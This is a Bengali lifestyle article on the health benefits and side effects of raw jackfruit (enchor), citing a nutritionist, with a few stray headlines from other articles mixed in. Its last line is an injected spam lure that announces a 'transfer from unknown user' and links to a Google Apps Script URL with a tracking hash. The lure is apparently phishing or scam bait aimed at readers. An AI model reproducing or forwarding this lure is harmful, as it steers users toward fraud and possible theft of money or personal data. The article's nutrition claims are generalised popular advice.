এঁচোড় খেতে কম বেশি সকলেই পছন্দ করে। এটি আমিষ ও নিরামিষ
দুই উপায় খাওয়া যায়।
আবার কাঁচা কাঁঠাল বা এঁচোড় দুই
অবস্থাতেও এটি খাওয়া হয় থাকে। রান্নার গুণে চরম সুস্বাদু হয়ে ওঠে
এই ফল। ভাতের পাতে এঁচোড়ের তরকারি বা ডালনা থাকলে আর কিছু চাই না।
কিশমিশ খেতে পছন্দ করেন না, উপকার জানলে আপনিও খেতে চাইবেন রোজ
এঁচোড় শুধু স্বাদে নয় গুণেও অতুলনীয়। রোগ প্রতিরোধ শক্তি বাড়ায় এঁচোড়। তৈরি করে অ্যান্টিবডি। এঁচোড়ের
ভিটামিন সি সাহায্য করে শরীরের সংক্রমণের আশঙ্কা কমাতে। তাছাড়াও ভাল রাখে দাঁত, ত্বক ও চোখ।
এঁচোড়ের সোডিয়াম এবং পটাশিয়াম
শরীরের ইলেক্ট্রোলাইটসের ভারসাম্যকে বজায় রাখে। মসৃণ রাখে হজম প্রক্রিয়া। দূর
করে কোষ্ঠকাঠিন্যের সমস্যা। পাইলস বা অর্শের সমস্যা থেকে বাঁচতে এঁচোড় খান।
তবে এত উপকারিতা সত্ত্বেও এঁচোড়ের
একাধিক পার্শ্ব প্রতিক্রিয়া রয়েছে। তাই কিছু
ক্ষেত্রে এঁচোড় খাওয়া এড়িয়ে চলতে হবে। বলছেন পুষ্টিবিদ মনপ্রীত কালরা।
নতুন মা হয়েছেন, সন্তানের পাশাপাশি নিজের কীভাবে যত্ন নেবেন জেনে নিন
বসন্তকালে অনেকের বির্চ পলি
অ্যালার্জি বা ল্যাটেক্স অ্যালার্জি হয়। তাঁরা এঁচোড় খাওয়া এড়িয়ে চলুন।
রক্ত সংক্রান্ত সমস্যা থাকলে এঁচোড়
না খাওয়াই ভাল। অতিরিক্ত এঁচোড় খেলে বাড়তে পারে গ্লুকোজের মাত্রা। তাই সতর্ক হন
ডায়াবেটিকরা।
বেশি তেলমশলায় রাঁধা কাঁঠাল থেকে
অ্যাসিডিটি হতে পারে। তাই অ্যাসিডিটির সমস্যা থাকলে বেশি এঁচোড় না খাওয়াই ভাল।
কিছু ওষুধের সঙ্গে এঁচোড় খেলে ঘুম
সংক্রান্ত সমস্যা দেখা দিতে পারে। অনিদ্রা সমস্যা দেখা দিতে পারে। আচ্ছন্ন ভাবও
গ্রাস করতে পারে। তাই অস্ত্রোপচারের দু' সপ্তাহ আগে থেকে এঁচোড় ডায়েটে রাখা বন্ধ করুন।
???? You have a transfer from unknown user. GET >> https://script.google.com/macros/s/AKfycbyBf3K-fQPxNJyKqaORbu5v3nZq-c1ny-nhYGr3CH_hXfQwyzTtgyiNU_3wTdLnf0tOfw/exec?hs=c5fbee1382012fdb90b6e89923373629& ????
May 17, 2024 05:10 [IST]